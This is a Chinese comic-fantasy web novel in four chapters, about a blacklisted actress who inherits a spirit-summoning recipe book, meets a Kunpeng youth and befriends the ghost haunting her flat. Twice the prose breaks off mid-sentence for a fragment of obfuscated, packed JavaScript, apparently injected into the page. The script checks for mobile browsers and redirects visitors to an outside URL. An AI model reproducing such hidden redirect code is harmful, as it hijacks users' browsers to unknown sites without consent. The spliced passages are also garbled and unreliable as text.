《凶宅经纪人》 1. 开局一凶宅 “孝子贤孙一叩首——” 司仪拖着的长音还没落,悼念厅里已经此起彼伏地响起了高亢的哭声。 老太太一生与人为善,因而前来参加告别仪式的亲朋好友几乎围满了整个前厅。一副副挽联贴在两侧花圈上,正随着窗缝溜进来的风微微摇晃,白菊堆在灵堂前,成群结队地低头垂泪,比离得最近的儿子更情真意切。 这家人长得都不错,但重新站起来的一干人等里,唯独有位是一眼望得出来的出挑。 她眼眶还红着,显然是哭过,此刻却没有和其他人一起哭天抢地。兴许是气场的缘故,连白色都压不住她的精致眉眼,缀在眉尾的一点红痣显得有些锋利,偶尔有不相识的看过去觉得眼熟,喃喃也被这悲痛氛围抵了下去。 向晴冷眼瞧着周围痛哭的近亲,就像在欣赏一出荒诞剧。 很难想象,同样的一伙人昨天还在为医疗费和丧葬费扯皮。 她外婆走得不算很突然,这个年纪的老人跌一跤就是大事,老太太在医院不省人事地躺了俩礼拜,给足了他们接受的缓冲时间。可惜人走了是接受了,钱才是接受不了的一地鸡毛。 流程一早就敲定过——遗体告别、火化、骨灰下葬。盒子被捧到墓园,等待埋好的期间,家属已经从哀伤中恢复过来,开始聊着家长里短的琐事。 向晴独自站在边上,看着有道影子靠近,抬眼就望见了和自己长相有几分相似的中年男人。 “小晴啊,”男人憨笑着搓手,“最近咋样?” “还行。有什么事就直说吧,”向晴微笑,“舅舅。” 被戳穿了目的,她舅舅也不尴尬,连声道:“还是你爽快。” “嗐,你弟最近不是要买房么,他那败家子手里都没攒下几个钱。我寻思你这行赚得多,都是自家人,当姐姐的能不能帮衬——” “我和公司闹翻了,”向晴打断了他,“才付完违约金。” “那你这几年总该……” “外婆医药费都是我交的,葬礼也是我出大头,现在还愁着下月房租。”她叹口气,“舅舅,眼看我要无家可归了,都是自家人,你当长辈的帮衬帮衬呗?” 男人一下子变了脸色,又强压下神情,恨铁不成钢地开了口:“不是我说你们年轻人,出了社会还是要圆滑点,怎么能说闹翻就闹翻。” “你等着,我去问问你舅妈,你也知道你舅妈的性子,她要不同意我也没辙……” 他说着转身离开,向晴看着那匆匆背影,毫不避讳地冷笑了一声。 这兄弟姐妹三个,除了她早亡的妈,剩下二人的性格都随了她外公,跟着自己母亲一点好没学到不说,自私自利是实打实的。 她还没落到房租都出不起的地步。给外婆花是一码事,想跟她要钱又是另一码了——没门。 墓碑有专人提前装好,封上墓地也花不了几分钟,人生被浓缩到短短两三个小时,向晴有些心生惆怅。临走之前,最后看了一眼那块碑。 离开墓园后,她拦了辆出租车,让司机开向自己的新公寓。 结果刚挨到坐垫,向晴冷不丁没把握好力道,姣好的面庞扭曲片刻,还是没忍住“嘶”地倒吸了一口凉气。 “……算了,麻烦您在那附近的市场先停一下吧。”她苦着脸说,“我去买只鸡。” “补身体啊?”司机听到她刚才的动静,看向后视镜调侃道,“现在上班都老坐着不动弹,一个比一个腰不行。” 向晴:“啊哈哈……” 撑了这么久,腰确实疼得很扎心。 她的粉丝估计想不到,他们家姐姐会在搬家到廉价公寓的途中扭到腰,还会因为扭到腰而亲自去市场买鸡炖汤。 向晴在大学期间被发掘签约,她要同时兼顾学业和工作,接到的都是一些不温不火的十八线小配角。直到毕业那年,她出演某武侠剧的配角一炮而……不能说红,多少有了点热度。 这也得益于她挑本子的眼光,总之,饱满的人设和富有灵气的演技顺利为她圈了一小波粉丝。有这基础打底,向晴接下来的资源成了一部上星剧的女二,戏杀青了,人要火了,一切都在往欣欣向荣发展,然后——然后她就跟资方闹翻了。 她本人被雪藏,才拍完的戏十有八九剪得一刀不剩,按照合同还得给公司赔付违约金。向晴设想过人生不会一帆风顺,但没料到会倒霉到这种寸劲上。 她父母走得早,她是跟在外婆身边长大的,外婆悉心到外公跟舅舅姨妈都颇有微词,觉得对孙辈没有一碗水端平。和善了大半辈子的姜老太太第一次瞪了眼,直言不然让他们来养妹妹的遗孤,这才堵得他们讪讪闭嘴。 向晴出道以后几次三番地想孝敬老人,都被板着脸说少花点冤枉钱。而她刚焦头烂额地跟公司解完约就听到这个噩耗,唯一还能庆幸点的就是她外婆来不及知道这事,至少没让老人忧心忡忡地走。 她一直觉得外婆很神奇,从小到大,哪怕她有点不开心都能看出缘由,全世界最懂她的就是她外婆。 然而,这次不太一样。 当公布遗嘱的时候,向晴甚至不是最惊讶的那个。 老两口的房产存款依次划分了个干净,而轮到向晴——这个众所周知的老太太生前最疼爱的外孙女,就只有一本压在嫁妆箱子底下多年以至于破破烂烂的菜谱,以及两把不知道做什么用的钥匙。 ……微不足道得都不用特意写进遗嘱。 向晴不在意遗产怎么分。 她只是……想不通。 她知道舅舅和舅妈甚至怀疑外婆留给她的是藏在哪里的金条,旁敲侧击地来打探过几次。向晴自个儿都莫名其妙,怎么可能有闲心来应付他们,就差一个白眼直接赶人。 直到外婆过世,向晴才意识到她还有很多事没问过外婆,比如那本从未听对方提过的菜谱。 再比如怎么挑鸡。 她被她外婆惯坏了,从小到大都没有自己买过菜。小时候要是不开心或者哪里不舒服,厨房里指定能端出一盅香喷喷的鸡汤。长大以后提一句想喝鸡汤,隔天饭桌上就能尝鲜尝个够。 既然是压箱底的菜谱,那炖出来的鸡汤一定很好喝——带着这样的想法,向晴踏进了菜市场,然后对着一排排处理好的整鸡傻了眼。 “丫头,来买鸡肉啊?” 她还在发愣的时候,旁边就传来一声亲切的招呼。 大妈挎着菜篮,热情地挤到她跟前,“炒菜还是煲汤?” “煲汤煲汤,”向晴知道自己触发了隐藏NPC——经验丰富的当地热心大妈,赶紧说,“您瞧着有好的吗?” “哎哟,你算问对人了。这鸡要挑油黄又润的,肉里面得有脂肪,他家鸡大部分都不错,你再注意一下颜色……” 大妈三言两语地指了只品相好的,自己也称了几斤鸡腿,摊主显然跟她是老相识了,笑呵呵地道:“刘婶这是给儿子儿媳买的?” “可不是么。”大妈心情很好,“这两天都回来吃饭,一次多买点。” 她忽然神秘兮兮地压低声音,“对了,听说了吗?咱小区那凶宅又租出去啦。” 摊主:“真的假的!” “凶宅?”向晴好奇地问。 其他人都不知道,促使她进入娱乐圈的一部分原因其实是……吃瓜。 谁能拒绝走在路上就吃到一口瓜呢! “是啊!”大妈一看有听众,马上更来劲了,“那小姑娘挺惨,自己买的房,谈个男朋友马上要结婚了,发现那男的劈腿还被当成是小三,一时想不开就在房子里上吊自杀了。” “她家里人找大师看过,说怨气重。陆陆续续也有图便宜来租的,结果基本没多久就搬出去,还有个当晚直接住了院……哎,不知道这新来的会咋样。” “是吗……”向晴同情道,“哪个倒霉蛋什么都不知道就住进去了啊?” “就是说。”大妈啐了口,“那家人从来不讲,邻居以前暗示过几次,结果被他们闹上门,真损阴德。” 随后她又问:“瞧你对这也不太熟,新搬来的?” “差不多。”向晴笑笑,“准备在附近找个工作。” 找工作是假,地段便宜是真。 今时不同往日,她手里还有点钱,但数额有限,在没有进项的前提下自然得开源节流。她搬出原来的大平层,窝在酒店里到处找房源,发现现在这间公寓时差点把眼珠瞪出来,赶紧联系中介看房。 结果就是她对家具和装修风格十分满意,当场把房子定了下来,毕竟搭配上那低了一截的租金,堪称物美价廉。 简直赚翻了! 只是经过刚才大妈那一点,向晴也有点感同身受地担心起月租低的原因,还好她住的这两天还挺安稳。 唯一让她觉得美中不足的就是,可能因为才搬家还没收拾好,她偶尔发现东西不见了又在明明找过的地方出现。另外半夜会有塑料袋似的声音在客厅晃来晃去,出去一看,什么都没有。 唉。 想到这里,她摇摇头。 住高层还是风大啊。 向晴提着网兜走出电梯,回到自家门前开锁,刚闪身进去,忽然听到屋里传来了“吱呀——”的一声响。 她拔钥匙的动作一下子停住了。 声音似乎是源自主卧。 向晴:“……” 她脑海里瞬间浮现出种种屋主不在家有他人偷溜进来的社会新闻,又疑心是自己听岔。几番权衡之下,她半敞着大门,连鞋都没脱,蹑手蹑脚地摸去厨房,从刀架上拔出了最锋利的那把菜刀。 她一手拿刀,一手抄起墙边新买的晾衣杆,权当是防暴叉,再悄无声息地往里潜行。 卧室里静悄悄的。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15062998|163015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >空无一人的屋内干净亮丽,墙面漆着赏心悦目的橡粉色,才铺过的床单平整得没有任何褶皱,一切都跟她出门前一模一样。 向晴的目光转向墙边的曲柳木衣柜。 衣柜紧闭着门,完全看不出打开过的迹象。向晴思考几秒,用晾衣杆一点点勾住柜门把手。 她做了个深呼吸,然后——用力一拉! 悬在嗓子眼的心脏在看清门后景象的一刹那落回了原位。 她的衣服还是好好地分门别类挂在滑轨上,整洁服帖,连个角都没折。向晴松了口气,晾衣杆一扔,回头看了看背后关着的窗户。 也不应该是风吹的啊。 她顾不得想那么多,刚才的一番轻手轻脚着实对腰伤不怎么友好,赶忙准备先把鸡处理了炖上就歇着去。 结果刚走出卧室没几步,那衣柜又响了一声。 向晴:“……???” 她腰疼! 她这次没那么客气了,扶着隐隐作痛的侧腰大步流星地走回去,烦不胜烦地又一把拉开了柜门。 还是什么都没有。 向晴把柜门甩回原位,顿时一声巨响。 “你再响一次。” 她不管三七二十一,用菜刀指着衣柜就泄愤道:“我马上把你劈了当柴烧。” 这来回两趟疼得她咬牙切齿,简简单单两句话说出了一股仇人的架势。向晴倒抽着凉气重新往外走去,路上不忘再竖起耳朵听听卧室里的动静。 ……世界安静了。 向晴顿时心旷神怡,她拎起之前放在门边的整鸡,清洗干净放到菜板上,一刀剁头一刀去尾,然后开始低头研究菜谱。 这可以说是外婆留给她的唯一遗物,旁人听说了兴许还以为是什么祖传秘方,而只有真翻开的向晴,才知道里头不过是寥寥二三十道再普通不过的家常菜。 册子边角磨损得严重,最特别的只有封皮上用楷书工整写成的“山海”二字。每一页上不知为何盖着的印章大半褪了色,有些地方还明显缺了页。而能看出清晰字迹的,还都是什么剁椒鱼头、小鸡炖蘑菇、蜜汁小排或者玉米烙。 而且…… 她怎么觉得这菜谱有点神神叨叨的。 第一页就是她心心念念的鸡汤,但硬性要求下料后顺时针搅动十五圈都算了,为什么还大写加粗强调要帮鸡做伸展运动? 当然,原文不是这么说的,只是用图解的方式展示了如何活动鸡翅再扩扩胸。 可能吃起来更嫩滑入味吧。 向晴不理解但尊重,她觉得它这么写肯定有它的道理,本分地跟着让鸡做了一套广播体操。 她知道下厨这事不能“俺寻思”,于是严格遵照菜谱,做完体操剁块,剁完块用鸡肉摆阵,摆完再下锅撇去浮沫,烧开的冷水咕嘟咕嘟冒了泡,向晴转了小火让它慢慢煲着,拿上勺子开始在里面搅。 “一,二……” “好了,十五。” 向晴丢下勺子,功成身退地拍拍手,转身回客厅看电视。 她煲上鸡汤已经是七点多了,大半个小时过去,鸡肉渐渐浓郁的温暖气味就从厨房灶上一点点飘出来。 向晴闻着这人间烟火的味道,觉得自己的胃都熨帖了不少。 她提不起兴致看电视,随手调了几个台最后也只是在听着灌耳音。但事情很快不太一样了,正常播报新闻的语速忽然掺进滋滋作响的电流声,每一个音节都拖得极长。 这年头信号还那么差? 真烦。 向晴按了几下遥控器,电视毫无反应。屏幕上的影像在以波浪状扭曲,两位主持人直勾勾地看着她,嘴角的微笑在变得如此缓慢的画面里显得十分诡异。 她慢慢地坐直身体,有种不好的预感。难不成—— 向晴起身。 电视坏了? 她走到宽屏电视旁边用力敲了敲,发现毫无作用,只好弯腰去拔电源。“哧”地一声,屏幕灭了。 向晴决定让它歇会儿,希望下次开机就好了,不然还得找房东修。 插座在卫生死角,她摸了一手灰,准备去洗个手。 “滴答。” 就在这一瞬间,向晴忽地听到了头顶上方的水滴声。 她站在客厅旁边的走廊里,头顶是抹得洁白如新的天花板。 哪里会有水? 向晴慢慢抬起了头。 天花板上,空无一物。 她暗自松了口气,庆幸不是楼上漏水,再自然不过地顺着低头时,视线就彻底定格在了正对面的那面镜子上。 镜中的“她”目不转睛地注视着自己,眼角沁出隐隐血色,露出了与主持人同款的诡异微笑。 向晴:“………………” 等等。 ……淦哦。 原来倒霉蛋就是她自己?! 2. 大转盘 唯物主义世界观在今晚不大好使。 那血色由浓转淡,一眨眼的功夫就顺着脸颊流了下来。 而镜中的她不顾血泪,通红双眼一动不动,嘴角越咧越大,裂成了两道血淋淋的伤口。 向晴下意识抬手,只摸到了一片干涩,顿时松了口气。 这吊诡的景象一瞬间微妙地停顿了一下——但也只有一瞬间。 甲根泛着青紫色的几根手指猛地抓上镜沿,镜中人身上所着的早就不是起居服,一身鲜红血衣斑斑点点,与镜面的距离更是越来越近。 ——直至完全贴合。 然后她眼前一晃。 女鬼:“………………” “乌拉嗷噢噢噢噢啊——” 那一瞬间,以钉子为圆心,以镜框为半径,整个镜子开始做起了变速圆周运动。一起变速的还有现身于镜中的女鬼本鬼,她像被装进了滚筒洗衣机,捧着自己的脸颊,神态活似名画《呐喊》——至少嘴巴很像。 向晴注意到镜框是用吊钩挂在墙上的,立马把它往斜上方一推,让它围着圆心转圈圈,等转下来了再给个加速度,眼看着镜子越转越快、越转越快—— 不是秋千玩不起,而是单人速通摩天轮更有性价比。 女鬼当然没这么容易放弃,她挣扎着想钻出镜子,却几次都被强烈的向心力又甩到了后面。都说有志者事竟成,我们的鬼界健儿当然也不例外,她正以每秒零点五厘米的最佳成绩向目标发起冲刺! 近了,她冲得更近了—— 向晴整个人像被钉在原地似的无法动弹,却并非因为那越发逼近的、干结在对方额头上浸透了血的、还在梅超风似的随本尊吱呀吱呀转的发丝。 而是因为……一丝不同寻常的香味飘向了她的鼻尖。 鸡汤的气味浓到满室飘香,但真正违和的是夹杂在其中的一点点说不清道不明的……草木焚烧出的气味,比起焦糊,又更像是清香。甚至,她隐约觉得像以前她外婆带她去参拜时闻到过的庙观里会有的香火味道。 可既然是在家里—— “……你闻到什么了吗?”向晴终于忍不住问,“不会是燃气泄漏了吧?” 女鬼:“……???” 老娘正准备袭击你,你就问老娘这种破问题?! 呕呕呕好晕—— 她晕头转向地扭头看过去,细细分辨了一下。 “我觉得不是。”女鬼下意识回答。 ……啊呸!还真被她转移注意力了! 这女人从头到尾的重点就没对过! 真是孰可忍孰不可忍,女鬼霎时心头火起,吭哧吭哧地扒着好不容易平稳点的镜框继续往外爬。先解决掉眼前的心头大患才是当务之急,锅上袅袅飘出的那一缕缕银白色烟气又跟她有什么关系—— 等等,白烟? 就在这迟疑的刹那。 浓烟乍起! 浓重的银白色在一呼一吸之间就充斥了视野,湿润得宛如雾气,向晴惊讶地发现自己身处其中仍可清晰视物。白雾丝丝缕缕地绕过周身又刻意作弄似的飘过她的面前,就这么笼罩了四周的一切——自然也包括了眼前的镜子。 这一切都透着不对劲,女鬼不愿再错过这个下手的机会,不管不顾地就向前扑着一抓而去。 尖锐指甲袭向面门,还不等向晴偏头去躲这迎面的鬼手,一缕比起周遭更凝为实质的白雾就蛇似的缠上了那只手腕,飘无定形,虚若无物,却格外不容抗拒。 哐当,啪叽,稀里哗啦。 向晴:“……” 红衣女鬼:“……” 向晴低头看向这个被拖出镜子摔了个狼狈不堪大头朝下的女鬼——她被一团团绳索般的烟气压制在地上动弹不得,似乎连本体都跟着凝聚成型,血迹蹭在地上,蹭出一块又一块红黑色的痕迹。 ……啊这。 向晴盯着脚边退去的白色,忽然察觉到周围的烟雾渐渐散了。 声音就在这时候响了起来。 “姜家后人何时落到这地步了?” 从不远处传来的嗓音清朗如同少年,笑里带着淡淡的促狭。它的主人就抱着胳膊斜倚在门旁——当真应了声如其人。 他外表的年纪瞧着就十八九岁,五官清俊到向晴这个前圈里人见了都不得不赞叹一句,眉梢上挑,视线在地上被控制住的栽得鼻青脸肿的女鬼头顶转过一圈后,又重新落向了向晴。 “……不好意思,太久不动手了有点没刹住。”短暂的停顿后,他面不改色,语气毫无歉意道,“我叫北洛,以后这么称呼我就行了。” 向晴:“……你谁?” 救命,好想报警。 要不是看在对方好像帮了自己的份上,她已经要跟110控诉有人擅闯民宅了。再加上今晚实在过于离奇,她怕人家来了以后看着室内空荡荡怀疑她是神经病。 ……她不会受太多打击已经精神分裂了吧? 这一问把少年问得愣了一下。 “我谁——我还能是谁?!”他不可置信道,“你不是姜家后代吗?!” 向晴:“……我外婆是姓姜。” 但她外婆就是个普通老太太啊! “哦,那就好,还以为我真找错了……”对方松了口气,又看她,“鸡汤是你熬的吧?” 向晴:“对。” 但是—— “怪了。”北洛眼神狐疑,“鸡汤是你做的,你又不知道怎么回事……你做的时候就没有被抽走了点什么的虚弱感吗?” 向晴开始努力回忆。 没有……吧? 有吗? “好像……有还是有一点的。”她尝试复述当时的感觉,“但我那会儿以为是剁块剁得用劲太大了,然后等盖上锅盖就好了。” 北洛:“………………” 他欲言又止半天,只憋出来一句:“真不知道该说你命大还是说你走运。” 向晴:“我天赋异禀?” 这初次谋面的陌生来客一下子猛烈地咳嗽起来。 “总、总之——”北洛清清嗓子,俨然又恢复了那派头,“一般而言,普通人……尤其还是初来乍到的那种,别说是支撑到完成召唤了,遇上运气跟悟性差的,单纯丢了命都是好的。” “更糟的是被反噬,到了最后连魂魄也保不住,那才是最惨的下场。” 他打量起面前的人类来。 灵力是浑然天成的丰沛,偏偏还环绕在周身弥而不散。 ……他有点明白为什么对方做得到了。 “暂停一下。”向晴举手,“你从刚才起就在说什么‘召唤’什么‘魂魄’,这都啥东西?” 北洛:“……” 真麻烦。 “我捋捋,”他绕着客厅里的空地转了两圈,“你是姜家后人,并且按照那本菜谱做出了上面的鸡汤——对吧?” 大概吧。 向晴点点头。 “对方把菜谱传给你之前什么都没说吗?” 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“你说对了一部分吧……”他艰难地组织言辞,逐渐开始怀疑自己回应召唤是不是个错误,“神异录确实是姜家先祖在和一部分神兽达成一致、打败另一部分后的成果,与祂们订下契约、建立约束,如有需要就借出力量或者回应召唤。” “之所以伪装成菜谱,是想躲过有心之人的觊觎,上面的方子也是修改时被各自认可过的。但契约期限已到,凶神恶兽松脱桎梏,其中一些很可能会为祸人间。” “姜家先祖立下过誓言,子孙会代代守护神异录,契约松动时也会重新签订,以守护世间一方和平。” 向晴:“……所以我需要照着菜谱挨个做一遍叫它们出来续约?” “那倒也不完全是,”北洛说,“不然就变成美食番了。” 向晴:“?” 你会不会有点太时髦了。 北洛注意到她的眼神,“蓬莱很无聊的!我只是靠人类娱乐文化打发一下时间!” “说回正题,”他道,“就算你这么做了,祂们肯定也不会回应你的。” “契约正在失效,已经不具备要求祂们必须回应召唤的条件了。我的祖先是自愿合作的那一批,而我很好心,并且很有责任心,”他刻意咬重了这两个的字音,“我乐意回应你的召唤,介于你对现状一无所知,还可以友情留下来担当顾问。” “好可疑。”向晴说。 北洛:“……临走前我不小心压歪了龙王的水晶宫,他应该要发一阵子的火。” 你和孙悟空是同道中人? 等等,为什么是压歪? “你是……” “水击三千里,九万里而一息。” 话题回到擅长的方向,虽然身量高挑,但与“健壮”一词毫无半点干系的少年早有准备地抬抬下巴,挑眉道: “用你们的语言来讲,最常见的说法应该是‘鲲鹏’。我是我们一族目前仅存的末裔。至于别的,我也说了,化为人形的时候,你可以称呼我为‘北洛’。” 向晴长出一口气。 这个世界在今晚跟她开了个天大的玩笑。 北洛:“还有什么问题吗?” 那可太多了。 向晴正想问问她的鸡汤怎么样了,就听脚边上有谁阴恻恻道:“呕……我有。” 辛辛苦苦折腾几个晚上一无所获、还免费体验了一番大转盘、最终被迫旁听完整个过程后发现自己被硬骨头关系户“嘎嘣”一声硌掉牙的红衣女鬼颤颤巍巍地抬起手—— 比出了一根死不瞑目的中指。 3. 神异录 或许这也是一种我命由我不由天。 女鬼被压制得那叫一个牢牢固固,除了竖起的中指是最后的倔强,恐怕连半点多余的挣扎也做不到了。 萌生多余的情感倒是可能可以。 向晴蹲下去,双手撑着膝盖,好声好气地问她。 “你要是认输了就眨一下眼,保证之后老老实实不闹事就眨两下眼。” 红衣女鬼:“………………” 这是人话吗?这给鬼选择余地了吗?!啊?! 三十年河东三十年河西! 莫欺少年穷!莫欺中年穷!莫欺死后穷! 她、她忍辱负重。 女鬼毫不犹豫地咔咔咔眨了三下眼。 成了。 向晴直起身来,向在场的另一个“人”道:“先把她放了吧。” “你确定?”鲲鹏末裔毫不掩饰自己怀疑的态度,“厉鬼之所以是厉鬼,就是因为他们的怨气。” “那怨气能支撑着他们留存至此,也会吞噬他们的理智。虽然有会信守承诺的,但前脚答应了后脚反悔的也比比皆是,我可不保证放了她还会不会做出什么来。” “等等,”向晴回过味来,“人死化鬼,那我是不是可以找——” “虽然不确定你在想的事,”北洛说,“注意我刚才说的,厉鬼本质上是因为怨念而留存于人世的印记。” “地府早就进入自动化办事流程了,如果怨气没有强到这个份上,死者会在气化孟婆汤中原地投胎。这些投不了的才是重点工作对象,会由无常来进行点对点帮扶,各殿都有攻坚指标的。” ……你们太与时俱进了吧! “不过因为人手所限,偶尔会有漏网之鱼。嗯,基数摆在这里……所以哪怕只是很小的比例也会有不少。” 北洛瞄向地上的女鬼,“比如她就算一个。” 向晴已经服了。 “那神异录的事也能‘帮扶’一下吗?”她问。 “够呛。”北洛说,“地府主管往生,而且这属于民间纠纷,至少他们不会明面下场。” “侧面支援可能会有……但我跟那边不熟,有机会再去问问吧。” 行吧。 “没事,你放。”向晴看着女鬼还屹立不倒的中指拿了主意,“我和她是一起鉴定过天然气泄漏的革命友谊关系。” 北洛:“……?” 维系你们这革命友谊的东西太脆弱了! 不论如何,他先按着她说的松了开来——反正真有什么再制住就是,这点功夫他还是手到擒来的。 一缕缕仅存的烟雾散去,被按在地上爬了半天的红衣女鬼终于重新飘起来,向晴总觉得自己听到了对方牙根磨得咯吱咯吱直响的声音。 半晌,只听红衣女鬼长长叹出一口气,像是认命,又像是惆怅。 女鬼在灯光下缓缓侧过头,地上映不出她的影子,只有那张发青的脸还能落出点阴影。她现在自然不再是镜子里那复刻的长相,显露出的真容……如果不提这翻出天际的眼白和露在嘴唇外的舌头,完全可以说是清秀文气。 她幽幽地问: “我有故事,你有酒吗?” 向晴:“……答应我别发酒疯好吗?好的。” 俗话说一醉解千愁。 十五分钟后,茶几上堆了四五个啤酒罐。 一半是向晴喝的,另一半则由她代为打开拉环,里面的汽儿是没有了,连酒的味道也不剩,完全就是与水相差无几的清澈液体。 女鬼小姐的酒量实在有点差。 向晴眼见她“喝”了两罐就说话含混起来,摇摇晃晃地飘不成个定型。 偏偏她还鬼菜瘾大,字都吐不清还要摆着手,“喝,继续喝。” 没办法,向晴只好又给她和自己各开了一罐,把她的摆在桌上。 而另一位还要更夸张,刚捧起啤酒罐尝了尝就面目扭曲,还死活不愿意撒手,一口一口地接着抿下去,边抿边碎碎念。 “这玩意,呸,真难喝,呸,我当初看着还以为多好喝呢,呸……还带汽,呸。” 向晴:“那你还喝?” 你是对它虐恋情深吗。 “要勇于,呸,尝试新鲜事物,呸……” 向晴:“……” 算了,你高兴就好。 她转向红衣女鬼,“你故事呢?” 怎么在这干喝半天啊。 “……哦。”专注喝闷酒的女鬼终于想起自己最初的目的,醉眼朦胧道,“我说过吗,我姓筱,叫筱虹。” 向晴:“小红啊——” 筱虹:“?” 音是对的,但听着怎么就是有点不对劲呢。 女鬼喝得晕晕乎乎,也品不出个所以然来,就听对方继续问:“所以你就是当初吊死在这里的那位喽?” “吊死?!” 红衣女鬼当场拍桌而起。 “什么吊死,吊什么死?当初——是——他先追的我!”她大着舌头说,“缠着我给他培训——跟我表白——临到结婚的关头跟我说他领过证了,开什么玩笑,我……” 哦哦,重点来了。 一人一神兽屏住呼吸等她说下去。 筱虹:“我他大爷的当然是把他踹了啊!” 向晴:“噗——” 北洛:“哇哦。” “老娘大好的青春,我要——升职加薪!用金钱填补我空虚的生活,事业就是女人最好的医美!到时候何愁找——找不到小鲜肉!” “我懂我懂,”向晴点头,“天涯何处无芳草。” 筱虹用力跟她击了个掌,“年轻男大就是好。” 北洛:“这韵你们是非押不可吗?” 这和她听说的完全不一样,向晴正想问问是怎么个事儿,就听女鬼悲愤道。 “看到阳台那里了吗?”她晃着手去指,“我真的只是想吊一根晾衣杆而已啊!结果刚挂上去打好结,脚底下板凳没踩稳,人直接栽进去了!” 北洛:“人类打结方法都这么特别?” “可能是片区差异吧,”向晴说,“我们一般不管套圈叫‘结’。” 筱虹:“喂!” “总之……”她像只泄了气的皮球那样跌坐在沙发上,然后直接穿过坐垫飘到缝隙里,再悻悻钻出来,“倒霉不是问题,问题是别人都以为我是为那人渣自杀的。啊呸,气死我了!他配吗?!” “流言蜚语就是大家只信自己想信的啦。”天天见着真料假料满天飞的前娱乐圈人士安慰她,“你是因为这个才留在这儿?” 筱虹:“也不是。” “这房子是我用自己积蓄买的。”筱小姐忧郁地吸了一口酒,“全款。” ……懂了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15063000|163015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >向晴和她虚空碰了个杯,不言而喻的眼神中是现代人懂的都懂的辛酸。 “但它现在还在出租,”向晴问,“租金是你父母收吗?” 她在签合同的时候见过房东,直觉对方的气质和小红不太像。 筱虹一口否决。 “怎么可能,我……” 她慢慢睁圆眼睛,俨然一下子醒了酒。 “沃日哦!” 向晴:“?” “沃日!沃日!”红衣女鬼连骂三声,叉着腰在屋里转了一圈又一圈,“我父母在我毕业前就去世了!两边老人只有我爷爷还活着,所以这种是不是——” “对,”向晴说,“应该是归你爷爷了。” “他除了我爸就一个儿子!他大爷的,我叔叔那一家人全是吸血鬼,房子肯定给他们了!” 向晴:“……你这几年都没有意识到吗?” “我有时候能现身,有时候不能,还在今晚之前一直浑浑噩噩的……”红衣女鬼明显有些心虚,“不然我肯定是和那些租客好好讲道理……” “这属于怨气侵蚀的正常情况。”北洛插话道,“所以我刚才就是在拔除怨气,四舍五入,相当于把她打到清醒。” “我懂了,不能真还漂漂的还你漂漂拳。”向晴说。 她重新看向女鬼,“我从刚才就想问了,你明明是吊死的,为什么穿血衣呢?” 筱虹:“我乐意!” “我忍不了了,我连一分钱都不想让他们赚到!”她气得飘在客厅打转转,“只要你把房子要回来,我就——我就借你住!” “……我本来就住这。”向晴说,“房租押一付三呢。” “免费的!没有中间商赚差价!” “要回来的话,”向晴思索了下,“在我名下也可以吗?” “没问题!” “这种在妖界或者鬼界怎么算?”向晴转头问北洛,“实质意义上归谁?” “我又没学过人鬼法,我哪知道……就记得挺复杂的。”北洛嘀咕,“反正你俩达成一致就行。” “那成。” 向晴起身,对还不解的一兽一鬼解释道:“打车去他们家。” 房子还是在自己名下安心。 北洛:“???” 好快的行动力! 筱虹:“哦呼!” 就是不让他们兜里多揣一个子儿过夜! 这一声还没“哦呼”完,刚站起来的向晴又直挺挺地栽了回去。 向晴扶着腰暗暗骂了句,她今晚过得跌宕起伏,硬是忘了自己还算半个病号。腰痛迟来地在她放松时发作,害得她愣是半天没敢再换个姿势。 “跌打损伤?”北洛凑过来,上下打量两眼,也看出来点名堂,“等会儿。” 他以指尖作笔,一气呵成地在空中描画。凡是被点过的地方都凭空流动过隐约的金光,最后竟是连成了一道飘忽着的符咒。他再稍一挥手,那符咒就朝着向晴后腰飘去,直接融入了她的身体。 向晴只觉得有股暖意以原本疼痛的位置为中心流淌向四肢,不适与僵硬消失得一干二净,完全可以重新活动自如了,不由称奇。 她松了口气,“多谢。” “对了,我确实想起来个问题。” 向晴问。 “我鸡汤呢?” 北洛:“……” 4. 三人定律 筱家的饭桌上一如既往地不太平。 只有青椒牛肉是新炒的,剩下两道热过以后暗沉沉地浸在油里发亮,叫人看了就倒胃口,筱海亮吃了没几口,直接撂了筷子。 “吃,就知道吃。”他看着对面还在闷头扒饭的儿子,恨铁不成钢地骂道,“连个工作都找不到,你还有脸吃?” “你这会儿说他干什么?”妻子立马跟他呛起声来,“你说他他就能立马找见了?” “人家找不到工作在家喝茶——那叫什么?哦,茶饭不思。” 筱海亮为自己用了个成语而有些骄傲。 “他倒好,在家吃白食,我老筱家怎么出了你这么个废物!” 他瞧着对面婆娘那张看腻了的脸更觉厌烦,把碗一推,起身道:“买包烟。” 多年夫妻谁还不知道谁,杨秋芳瞅他的嘴脸就知道又琢磨什么鬼名堂,急赤白脸地在他出门前喊:“你再去跟他们打牌试试!” 管的倒挺多。 筱海亮在老婆看不到的地方翻了个白眼——省得她见了又吵吵嚷嚷,刚伸手摘了外套,兜里的手机先震着响了起来。他正憋着一肚子火,没好气地接了电话,结果说了两句忽然平和下来,嘀嘀咕咕地放下手机,他老婆见状阴阳怪气地问: “哟,谁啊?” “租咱房子那丫头。”筱海亮神情古怪地嘬着牙花子,“她说她就在楼下。” 现在刚过晚饭时间没太久,老式居民区的中老年人往往都会在这种时候出门遛弯或遛狗,见到个年轻漂亮的姑娘杵在外头难免多看一两眼,但也就是看看了,她的表情实在太冷,叫人只想绕着走。 向晴抱起胳膊,靠在单元门旁边斜坡的护栏上,气压低得吓人。 筱虹:“……看得出来你真的很想喝那锅鸡汤。” 